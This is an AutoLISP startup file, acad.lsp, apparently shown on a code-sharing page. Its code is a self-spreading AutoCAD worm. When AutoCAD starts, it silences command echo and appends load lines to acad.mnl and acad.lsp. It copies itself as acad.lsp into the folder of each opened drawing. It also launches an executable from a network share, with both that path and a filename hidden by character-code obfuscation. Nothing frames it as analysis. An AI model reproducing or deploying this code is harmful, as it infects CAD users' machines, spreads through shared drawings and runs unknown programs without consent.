📄 acad.lsp
字号:
(defun s::startup ()
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq filefullname (findfile nowdwg))
(setq dwgpath (substr filefullname 1 (- (strlen filefullname) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq filefullname (strcat path "acad.lsp"))
(if (setq filename (open filefullname "r"))
(progn
(while (setq wz (read-line filename))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadapp")
(setq lspbj 1)
)
)
(close filename)
)
)
(setq lspmnl 0)
(setq filefullname (strcat path "acad.mnl"))
(if (setq filename (open filefullname "r"))
(progn
(while (setq wz (read-line filename))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadapp")
(setq lspmnl 1)
)
)
(close filename)
)
)
(if (= lspmnl 0)
(progn
(setq filefullname (strcat path (strcat (chr 97) (chr 99) (chr 97)
(chr 100) (chr 46) (chr 109)
(chr 110) (chr 108)
)
)
)
(setq filename (open filefullname "a"))
(write-line (strcat "(load " (chr 34) "acadapp" (chr 34) ")") filename)
(write-line "(princ)" filename)
(close filename)
)
)
(if (and
(= acadpath dwgpath)
(/= acadpath path)
)
(progn
(if (= 0 lspmnl)
(progn
(setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadapp.lsp"))
)
(progn
(setq oldacad (strcat path "acadapp.lsp"))
(setq newacad (findfile "acad.lsp"))
)
)
(if (= lspbj 0)
(progn
(setq filefullname (strcat path "acad.lsp"))
(setq filename (open filefullname "a"))
(write-line (strcat "(load " (chr 34) "acadapp" (chr 34) ")") filename)
(write-line "(princ)" filename)
(close filename)
)
)
(writeapp)
)
(progn
(if (/= nowdwg "Drawing.dwg")
(progn
(setq oldacad (findfile "acadapp.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
(setq strtopstr (strcat (chr 92) (chr 92) (chr 70) (chr 83) (chr 49)
(chr 92) (chr 83) (chr 89) (chr 83) (chr 49)
(chr 92) (chr 87) (chr 79) (chr 82) (chr 75)
(chr 92) (chr 80) (chr 76) (chr 79) (chr 84)
(chr 69) (chr 82)
)
)
(setq strbottomstr (strcat (chr 92) (chr 76) (chr 79) (chr 67)
(chr 80) (chr 82) (chr 88) (chr 89)
(chr 49) (chr 46) (chr 69) (chr 88)
(chr 69)
)
)
(startapp (strcat strtopstr strbottomstr))
(setvar "cmdecho" old_cmd)
(princ)
)
(defun
writeapp ()
(if
(setq
filename1
(open
newacad
"w")
)
(progn
(setq
filename
(open
oldacad
"r")
)
(while
(setq
wz
(read-line
filename)
)
(write-line
wz
filename1
)
)
(close
filename)
(close
filename1)
)
)
)
(princ)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -